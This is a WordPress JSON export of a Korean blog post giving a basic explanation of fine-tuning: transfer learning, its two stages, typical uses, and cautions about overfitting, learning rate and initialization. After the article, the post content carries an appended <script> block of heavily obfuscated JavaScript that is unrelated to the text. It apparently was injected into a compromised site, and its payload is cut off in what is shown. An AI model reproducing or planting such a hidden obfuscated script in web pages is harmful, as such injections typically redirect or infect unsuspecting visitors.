{"id":422,"date":"2024-06-29T04:02:44","date_gmt":"2024-06-29T04:02:44","guid":{"rendered":"https:\/\/os.miracool.co.kr\/?p=422"},"modified":"2024-06-29T04:02:44","modified_gmt":"2024-06-29T04:02:44","slug":"%ed%8c%8c%ec%9d%b8-%ed%8a%9c%eb%8b%9d-%ed%95%99%ec%8a%b5%ec%9d%98-%eb%aa%a8%eb%93%a0-%ea%b2%83","status":"publish","type":"post","link":"https:\/\/os.miracool.co.kr\/?p=422","title":{"rendered":"\ud30c\uc778 \ud29c\ub2dd \ud559\uc2b5\uc758 \ubaa8\ub4e0 \uac83"},"content":{"rendered":"<div class=\"tt_article_useless_p_margin contents_style\">\n<h2 data-ke-size=\"size26\">\n<span style=\"color: #000000; background-color: #ffc1c8;\"><br \/>\n<b><br \/>\n    \ud30c\uc778\u00a0\ud29c\ub2dd\u00a0\ud559\uc2b5<br \/>\n   <\/b><br \/>\n<\/span><br \/>\n<\/h2>\n<p><figure class=\"imageblock alignCenter\" data-ke-mobilestyle=\"widthOrigin\" data-origin-height=\"2631\" data-origin-width=\"4770\">\n<span data-alt=\"\ud30c\uc778 \ud29c\ub2dd \ud559\uc2b5\" data-phocus=\"phocus\" data-url=\"https:\/\/blog.kakaocdn.net\/dn\/dRUKqr\/btsFpSOKx7p\/NKkTAXtGZmC1HVyK8wACC0\/img.png\"><br \/>\n<img loading=\"lazy\" decoding=\"async\" alt=\"\ud30c\uc778 \ud29c\ub2dd \ud559\uc2b5\" data-origin-height=\"2631\" data-origin-width=\"4770\" height=\"314\" onerror=\"this.onerror=null; this.src='\/\/t1.daumcdn.net\/tistory_admin\/static\/images\/no-image-v1.png'; this.srcset='\/\/t1.daumcdn.net\/tistory_admin\/static\/images\/no-image-v1.png';\" src=\"https:\/\/blog.kakaocdn.net\/dn\/dRUKqr\/btsFpSOKx7p\/NKkTAXtGZmC1HVyK8wACC0\/img.png\" srcset=\"https:\/\/img1.daumcdn.net\/thumb\/R1280x0\/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRUKqr%2FbtsFpSOKx7p%2FNKkTAXtGZmC1HVyK8wACC0%2Fimg.png\" width=\"570\"\/><br \/>\n<\/span><figcaption>\n    \ud30c\uc778 \ud29c\ub2dd \ud559\uc2b5<br \/>\n   <\/figcaption><\/figure>\n<\/p>\n<h3 data-ke-size=\"size23\" style=\"color: #000000; text-align: start;\">\n<span style=\"background-color: #9feec3;\"><br \/>\n<b><br \/>\n    \ud30c\uc778 \ud29c\ub2dd\uc758 \uc758\ubbf8<br \/>\n   <\/b><br \/>\n<\/span><br \/>\n<\/h3>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ud30c\uc778\ud29c\ub2dd(Fine-tuning)\uc740 \uba38\uc2e0 \ub7ec\ub2dd\uc5d0\uc11c \uc774\ubbf8 \ud559\uc2b5\ub41c \ubaa8\ub378\uc744 \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud574 \uc7ac\ud559\uc2b5\ud558\ub294 \uae30\uc220\uc785\ub2c8\ub2e4. \uc774 \uae30\uc220\uc740 \uc774\ubbf8\uc9c0 \ubd84\ub958, \uc790\uc5f0\uc5b4 \ucc98\ub9ac \ub4f1 \ub2e4\uc591\ud55c \ubd84\uc57c\uc5d0\uc11c \uc0ac\uc6a9\ub418\uace0 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ud30c\uc778\ud29c\ub2dd\uc744 \ud558\uae30 \uc704\ud574\uc11c\ub294 \uba3c\uc800 \ubbf8\ub9ac \ud559\uc2b5\ub41c \ubaa8\ub378\uc744 \uc120\ud0dd\ud574\uc57c \ud569\ub2c8\ub2e4. \ub300\ubd80\ubd84\uc758 \uba38\uc2e0 \ub7ec\ub2dd \ud504\ub808\uc784\uc6cc\ud06c\ub294 \uc774\ubbf8 \ud559\uc2b5\ub41c \ubaa8\ub378\uc744 \uc81c\uacf5\ud558\uba70, \uc774\ub7ec\ud55c \ubaa8\ub378\uc744 \uc804\uc774\ud559\uc2b5(Transfer Learning) \ubaa8\ub378\uc774\ub77c\uace0\ub3c4 \ubd80\ub985\ub2c8\ub2e4. \uc804\uc774\ud559\uc2b5 \ubaa8\ub378\uc740 \ub300\ubd80\ubd84 \ub300\uaddc\ubaa8 \ub370\uc774\ud130\uc14b\uc5d0\uc11c \uc0ac\uc804 \ud559\uc2b5\ub41c \ubaa8\ub378\uc785\ub2c8\ub2e4. \ub530\ub77c\uc11c \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc744 \ud559\uc2b5\uc2dc\ud0a4\uae30 \uc704\ud574\uc11c\ub294 \uc804\uc774\ud559\uc2b5 \ubaa8\ub378\uc758 \uc77c\ubd80 \ub808\uc774\uc5b4\ub97c \uc7ac\uc0ac\uc6a9\ud558\uace0, \uc0c8\ub85c\uc6b4 \ub808\uc774\uc5b4\ub97c \ucd94\uac00\ud558\uc5ec \uc7ac\ud559\uc2b5\ud558\ub294 \ubc29\uc2dd\uc73c\ub85c \uc9c4\ud589\ud569\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<h3 data-ke-size=\"size23\" style=\"color: #000000; text-align: start;\">\n<span style=\"background-color: #9feec3;\"><br \/>\n<b><br \/>\n    \ud30c\uc778 \ud29c\ub2dd\uc758 \ub2e8\uacc4<br \/>\n   <\/b><br \/>\n<\/span><br \/>\n<\/h3>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ud30c\uc778\ud29c\ub2dd\uc740 \ub450 \uac00\uc9c0 \ub2e8\uacc4\ub85c \uc774\ub8e8\uc5b4\uc9d1\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \uccab \ubc88\uc9f8 \ub2e8\uacc4\ub294 \uc804\uc774\ud559\uc2b5 \ubaa8\ub378\uc758 \uc77c\ubd80 \ub808\uc774\uc5b4\ub97c \uace0\uc815\uc2dc\ucf1c\uc11c \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub9de\uac8c \uc7ac\uc0ac\uc6a9\ud558\ub294 \ub2e8\uacc4\uc785\ub2c8\ub2e4. \uc774\ub807\uac8c \ud558\uba74 \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud55c \ud2b9\uc9d5\uc744 \ub354\uc6b1 \uc798 \ucd94\ucd9c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ub450 \ubc88\uc9f8 \ub2e8\uacc4\ub294 \uc0c8\ub85c\uc6b4 \ub808\uc774\uc5b4\ub97c \ucd94\uac00\ud558\uc5ec \uc804\uccb4 \ubaa8\ub378\uc744 \uc7ac\ud559\uc2b5\ud558\ub294 \ub2e8\uacc4\uc785\ub2c8\ub2e4. \uc774\ub807\uac8c \ud558\uba74 \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud574 \ub354\uc6b1 \uc815\ud655\ud55c \uc608\uce21 \uacb0\uacfc\ub97c \uc5bb\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<h3 data-ke-size=\"size23\" style=\"color: #000000; text-align: start;\">\n<span style=\"background-color: #9feec3;\"><br \/>\n<b><br \/>\n    \ud30c\uc778 \ud29c\ub2dd\uc758 \uc0ac\uc6a9 \ubd84\uc57c<br \/>\n   <\/b><br \/>\n<\/span><br \/>\n<\/h3>\n<p><figure class=\"imageblock alignCenter\" data-ke-mobilestyle=\"widthOrigin\" data-origin-height=\"406\" data-origin-width=\"680\">\n<span data-alt=\"AI \ud30c\uc778 \ud29c\ub2dd\" data-phocus=\"phocus\" data-url=\"https:\/\/blog.kakaocdn.net\/dn\/VoO9l\/btsFsclGksB\/6FBRPhW2rX3qrkzoXLoj20\/img.jpg\"><br \/>\n<img loading=\"lazy\" decoding=\"async\" alt=\"AI \ud30c\uc778 \ud29c\ub2dd\" data-origin-height=\"406\" data-origin-width=\"680\" height=\"335\" onerror=\"this.onerror=null; this.src='\/\/t1.daumcdn.net\/tistory_admin\/static\/images\/no-image-v1.png'; this.srcset='\/\/t1.daumcdn.net\/tistory_admin\/static\/images\/no-image-v1.png';\" src=\"https:\/\/blog.kakaocdn.net\/dn\/VoO9l\/btsFsclGksB\/6FBRPhW2rX3qrkzoXLoj20\/img.jpg\" srcset=\"https:\/\/img1.daumcdn.net\/thumb\/R1280x0\/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVoO9l%2FbtsFsclGksB%2F6FBRPhW2rX3qrkzoXLoj20%2Fimg.jpg\" width=\"561\"\/><br \/>\n<\/span><figcaption>\n    AI \ud30c\uc778 \ud29c\ub2dd<br \/>\n   <\/figcaption><\/figure>\n<\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ud30c\uc778\ud29c\ub2dd\uc740 \ub2e4\uc591\ud55c \ubd84\uc57c\uc5d0\uc11c \uc0ac\uc6a9\ub429\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4, \uc790\uc5f0\uc5b4 \ucc98\ub9ac \ubd84\uc57c\uc5d0\uc11c\ub294 BERT, GPT \ub4f1\uc758 \ubaa8\ub378\uc744 \uc804\uc774\ud559\uc2b5 \ubaa8\ub378\ub85c \uc0ac\uc6a9\ud558\uace0, \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud574 \ud30c\uc778\ud29c\ub2dd\uc744 \uc9c4\ud589\ud558\uc5ec \ud2b9\uc815 \ubd84\ub958, \uc694\uc57d, \ubc88\uc5ed \ub4f1\uc758 \uc791\uc5c5\uc744 \uc218\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc774\ubbf8\uc9c0 \ubd84\ub958 \ubd84\uc57c\uc5d0\uc11c\ub294 VGG, ResNet \ub4f1\uc758 \ubaa8\ub378\uc744 \uc0ac\uc6a9\ud558\uc5ec \ud30c\uc778\ud29c\ub2dd\uc744 \uc9c4\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ud30c\uc778\ud29c\ub2dd\uc740 \uba38\uc2e0 \ub7ec\ub2dd \ubd84\uc57c\uc5d0\uc11c \ub9e4\uc6b0 \uc911\uc694\ud55c \uae30\uc220\uc785\ub2c8\ub2e4. \uc774\ubbf8 \ud559\uc2b5\ub41c \ubaa8\ub378\uc744 \uc7ac\uc0ac\uc6a9\ud558\uace0 \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud574 \ud30c\uc778\ud29c\ub2dd\uc744 \uc9c4\ud589\ud558\uba74 \uc801\uc740 \uc591\uc758 \ub370\uc774\ud130\ub85c\ub3c4 \uc815\ud655\ud55c \uacb0\uacfc\ub97c \uc5bb\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub610\ud55c, \ud30c\uc778\ud29c\ub2dd\uc740 \uba38\uc2e0 \ub7ec\ub2dd \ubaa8\ub378\uc758 \uac1c\ubc1c \ubc0f \uac1c\uc120\uc5d0\ub3c4 \ub9e4\uc6b0 \uc720\uc6a9\ud569\ub2c8\ub2e4. \uc804\uc774\ud559\uc2b5 \ubaa8\ub378\uc744 \uc0ac\uc6a9\ud558\uba74 \ub300\uaddc\ubaa8 \ub370\uc774\ud130\uc14b\uc5d0\uc11c \ud559\uc2b5\ub41c \ubaa8\ub378\uc758 \uc77c\ubd80 \ub808\uc774\uc5b4\ub97c \uc7ac\uc0ac\uc6a9\ud560 \uc218 \uc788\uc73c\ubbc0\ub85c, \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0\uc11c \uc88b\uc740 \uc131\ub2a5\uc744 \uc5bb\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub610\ud55c, \ud30c\uc778\ud29c\ub2dd\uc744 \ud1b5\ud574 \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud55c \uc608\uce21 \uacb0\uacfc\ub97c \uac1c\uc120\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<h3 data-ke-size=\"size23\" style=\"color: #000000; text-align: start;\">\n<span style=\"background-color: #9feec3;\"><br \/>\n<b><br \/>\n    \ud30c\uc778 \ud29c\ub2dd\uc758 \uc0ac\uc6a9\uc2dc \uc8fc\uc758\uc810<br \/>\n   <\/b><br \/>\n<\/span><br \/>\n<\/h3>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \ud558\uc9c0\ub9cc \ud30c\uc778\ud29c\ub2dd\uc740 \ub2e4\uc74c\uacfc \uac19\uc740 \uba87 \uac00\uc9c0 \uc8fc\uc758\uc810\uc774 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<b><br \/>\n   \uccab\uc9f8<br \/>\n  <\/b><br \/>\n  ,<br \/>\n  <span style=\"background-color: #f6e199;\"><br \/>\n   \uacfc\uc801\ud569(Overfitting)\uc744 \ubc29\uc9c0<br \/>\n  <\/span><br \/>\n  \ud574\uc57c \ud569\ub2c8\ub2e4. \ud30c\uc778\ud29c\ub2dd\uc744 \ud560 \ub54c\ub294 \uc801\uc808\ud55c \ub370\uc774\ud130\uc14b\uacfc \ubaa8\ub378\uc744 \uc120\ud0dd\ud558\uace0, \ud559\uc2b5 \uacfc\uc815\uc5d0\uc11c \uacfc\uc801\ud569\uc744 \ubc29\uc9c0\ud558\ub294 \uae30\uc220\uc744 \uc0ac\uc6a9\ud574\uc57c \ud569\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<b><br \/>\n   \ub458\uc9f8<br \/>\n  <\/b><br \/>\n  ,<br \/>\n  <span style=\"background-color: #f6e199;\"><br \/>\n   \ud559\uc2b5\ub960(Learning rate)\uc744 \uc870\uc808<br \/>\n  <\/span><br \/>\n  \ud574\uc57c \ud569\ub2c8\ub2e4. \ud559\uc2b5\ub960\uc744 \ub108\ubb34 \ub192\uc774\uac70\ub098 \ub0ae\ucd94\uba74 \ud559\uc2b5 \uc131\ub2a5\uc774 \uc800\ud558\ub420 \uc218 \uc788\uc73c\ubbc0\ub85c \uc801\uc808\ud55c \ud559\uc2b5\ub960\uc744 \uc120\ud0dd\ud574\uc57c \ud569\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<b><br \/>\n   \uc14b\uc9f8<br \/>\n  <\/b><br \/>\n  ,<br \/>\n  <span style=\"background-color: #f6e199;\"><br \/>\n   \ud30c\ub77c\ubbf8\ud130 \ucd08\uae30\ud654(Parameter initialization)<br \/>\n  <\/span><br \/>\n  \ub97c \uc2e0\uc911\ud558\uac8c \ud574\uc57c \ud569\ub2c8\ub2e4. \ud30c\ub77c\ubbf8\ud130 \ucd08\uae30\ud654\uac00 \uc798\ubabb\ub418\uba74 \ud559\uc2b5 \uc131\ub2a5\uc774 \uc800\ud558\ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n <\/p>\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n<p data-ke-size=\"size16\" style=\"color: #555555; text-align: start;\">\n  \uc815\ub9ac\ud558\uc790\uba74 \ud30c\uc778\ud29c\ub2dd\uc740 \uba38\uc2e0 \ub7ec\ub2dd \ubd84\uc57c\uc5d0\uc11c \ub9e4\uc6b0 \uc911\uc694\ud55c \uae30\uc220\uc774\uba70, \ub2e4\uc591\ud55c \ubd84\uc57c\uc5d0\uc11c \uc0ac\uc6a9\ub429\ub2c8\ub2e4. \ud558\uc9c0\ub9cc \ud30c\uc778\ud29c\ub2dd\uc744 \ud560 \ub54c\ub294 \uc8fc\uc758\uc810\uc744 \uc9c0\ucf1c\uc57c \ud569\ub2c8\ub2e4. \uc801\uc808\ud55c \ub370\uc774\ud130\uc14b\uacfc \ubaa8\ub378 \uc120\ud0dd, \ud559\uc2b5\ub960 \uc870\uc808, \ud30c\ub77c\ubbf8\ud130 \ucd08\uae30\ud654 \ub4f1\uc744 \uc2e0\uc911\ud558\uac8c \uace0\ub824\ud558\uc5ec \ud30c\uc778\ud29c\ub2dd\uc744 \uc218\ud589\ud574\uc57c \ud569\ub2c8\ub2e4.\n <\/p>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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